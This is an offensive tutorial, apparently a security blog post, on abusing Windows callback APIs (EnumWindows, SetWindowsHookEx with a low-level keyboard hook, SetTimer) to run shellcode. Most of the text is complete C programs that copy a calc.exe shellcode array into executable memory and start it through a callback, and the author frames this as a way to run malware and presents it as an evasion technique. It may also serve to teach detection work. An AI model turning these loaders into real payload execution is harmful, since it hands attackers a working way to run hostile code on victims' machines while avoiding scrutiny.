In Windows, a callback function is a piece of code that gets called in response to some event or condition, such as a timer expiration, a completed I/O operation, or a system notification. Many Windows APIs take a pointer to a function as an argument, allowing developers to provide their custom logic to be executed later by the system.
For instance:
Window Procedures: Windows-based applications can register a window procedure (WndProc) as a callback to handle messages sent to a window.
Enumerating Objects: APIs like EnumWindows or EnumChildWindows take a callback function that gets called for each window found.
I/O Completion: Functions like ReadFileEx and WriteFileEx allow for asynchronous I/O operations, where a completion callback is invoked after the operation finishes.
Thread Local Storage (TLS) Callbacks: These are executed when a thread is created or exits.
Code Execution through Callback Functions
We can hijack or provide a malicious callback function to execute custom code following a legitimate API call. For example:
Provide Malicious Callback: we can register a callback with a legitimate API but point it to malicious code. When the system calls the callback, the code is executed within the context of a legitimate application.
Example: Registering a callback with EnumWindows but pointing it to malicious shellcode or a function that initiates further actions like downloading malware or creating a backdoor.
Hijack an Existing Callback: In some cases, we can modify or replace an existing legitimate callback function pointer with one that points to malicious code. This way, when the system or program triggers the callback, the attacker’s code is executed instead.
Example: Manipulating structures in memory to replace legitimate callback addresses with malicious ones. If an application is using a function like SetWindowsHookEx to monitor events, the attacker can hijack that callback to insert their malicious function.
Providing a Malicious Callback Function
In this case, you pass a malicious callback function pointer to a legitimate API that expects a callback. The system will call your function when appropriate, and your code will execute.
EnumWindows
The EnumWindows API enumerates all top-level windows on the screen and calls a user-defined callback function for each window. You can register a custom function (malicious in this case) to perform whatever operation you want when the callback is invoked.
Taking a look at MSDN documentation for EnumWindows API, the function has the following syntax:
BOOL EnumWindows(
[in] WNDENUMPROC lpEnumFunc, // pointer to callback function
[in] LPARAM lParam // value to pass to the callback function
);
The first parameter is of Type WNDENUMPROC , a pointer to an application-defined callback function. MSDN points to this link for more information about the type of callback function:
With this information we move on to creating a suitable callback function for EnumWindows API. according to the documentation, this is the syntax for a callback function that is suitable for using with EnumWindows API call:
We should also take note of the return value as mentioned in the documents:
To continue enumeration, the callback function must return TRUE; to stop enumeration, it must return FALSE.
So we have to write a function with the same structure, something like this:
BOOL CALLBACK EnumWindowsCallback(
HWND hwnd,
LPARAM lParam
) {
MessageBoxW(NULL,L"Callback function called from EnumWindows",L"Alert !",MB_OK);
return FALSE;
}
This function will simply pop a message box saying it's called from a callback function. the return value is set to FALSE so that the function doesn't stick in an infinite loop and just pop message box forever !
The final code will look like this:
#include <windows.h>
// malicious callback function
BOOL CALLBACK EnumWindowsCallback(
HWND hwnd,
LPARAM lParam
) {
MessageBoxW(NULL, L"Callback function called from EnumWindows", L"Alert !", MB_OK);
return FALSE;
}
int main() {
// call EnumWindows with our callback function as a parameter
EnumWindows(EnumWindowsCallback, NULL);
return 0;
}
We can modify this code to execute some shellcode:
We can also make it simpler by calling the shellcode directly from EnumWindows API by type casting the shellcode array as an input type for the function.
This is not recommended at all. as i stated in previous posts, storing shellcode in .text section and calling it will limit our ability for obfuscation / encryption. here i'm just using this technique for simplicity.
#include <windows.h>
// store calc.exe shellcode in .text section
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
0x99, 0xFF, 0xD7 };
int main() {
// call EnumWindows and type cast the shellcode to an input type for the API
EnumWindows((WNDENUMPROC)shellcode, NULL);
return 0;
}
EnumChildWindows
Enumerates the child windows that belong to the specified parent window by passing the handle to each child window, in turn, to an application-defined callback function. same as EnumWindows, this can also be used to execute arbitrary shellcode using callback functions.
Enumerates all desktops associated with the specified window station of the calling process. The function passes the name of each desktop, in turn, to an application-defined callback function.
In this scenario, you modify or replace a function pointer that a legitimate application or process uses for its callback. When the system calls the original callback, it unknowingly calls your malicious code.
Hijacking Keypress using Hooks
Let’s say a legitimate process has installed a hook using the SetWindowsHookEx function to monitor events (keyboard or mouse, for instance). You can hijack this hook by replacing the callback pointer in the hook structure to point to your own malicious function.
Here's a simple conceptual example of hijacking a callback in memory. This is commonly done in scenarios where you have access to process memory (e.g., after injection).
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};
HHOOK hHook; // Global hook handle
int executed = 0; // Flag to track shellcode execution
LRESULT CALLBACK MaliciousHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN && !executed) {
executed = 1; // Mark shellcode as executed
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
// Unhook the keyboard hook after shellcode execution
UnhookWindowsHookEx(hHook);
// Exit the message loop by posting a quit message
PostQuitMessage(0);
}
// Call the next hook in the chain
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
// Set a keyboard hook that uses our malicious callback
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MaliciousHookProc, NULL, 0);
if (hHook == NULL) {
printf("Failed to set hook!\n");
return -1;
}
// Keep the hook running until it is removed
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
Here is a breakdown of how the code works:
The program installs a global keyboard hook using WH_KEYBOARD_LL to intercept all keypress events.
A global variable executed is introduced and initialized to 0. This flag will track whether the shellcode has already been executed.
When a key is pressed, the MaliciousHookProc function is triggered.
Inside MaliciousHookProc, memory is allocated for the shellcode, and the shellcode is copied into this memory.
The shellcode is executed in-memory
After the shellcode is executed for the first time, the hook is removed using UnhookWindowsHookEx(hHook). This prevents the hook from being triggered again.
After unhooking, the program posts a WM_QUIT message using PostQuitMessage(0) to break out of the message loop in main(). This ensures the program exits cleanly after the first shellcode execution.
Hijacking a Timer Callback
the CreateTimerQueueTimer creates a timer-queue timer. This timer expires at the specified due time, then after every specified period. When the timer expires, the callback function is called.
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};
VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime) {
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
// Stop the timer after execution (one-time execution)
KillTimer(hwnd, idEvent);
}
int main() {
// Create a hidden window to use for the timer callback
HWND hwnd = CreateWindowA("STATIC", "HiddenWindow", 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
if (!hwnd) {
printf("Failed to create window!\n");
return -1;
}
// Set a timer to fire after 5 seconds (5000 ms), which will trigger the TimerProc callback
UINT_PTR timerId = SetTimer(hwnd, 0, 5000, (TIMERPROC)TimerProc);
if (timerId == 0) {
printf("Failed to set timer!\n");
return -1;
}
// Message loop to keep the program running and handle the timer event
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
SetTimer is used to set a timer that triggers after a specified interval (5000 milliseconds, or 5 seconds in this case).
The TimerProc is the callback function that is invoked when the timer fires. In this case, we use this callback to execute the shellcode.
In TimerProc, we allocate memory using VirtualAlloc with PAGE_EXECUTE_READWRITE permissions to make the memory executable.
The shellcode is copied into the allocated memory, and the function pointer is cast to execute the shellcode.
The KillTimer function is called within TimerProc to stop the timer after the shellcode has been executed, ensuring that the shellcode runs only once.
The message loop in main keeps the program running and ensures the timer can fire after the 5-second interval.
The TimerProc hijacks the callback mechanism to execute shellcode when the timer fires.
Other Callback Functions
Here is an awsome list of other callback functions that can be used for code execution: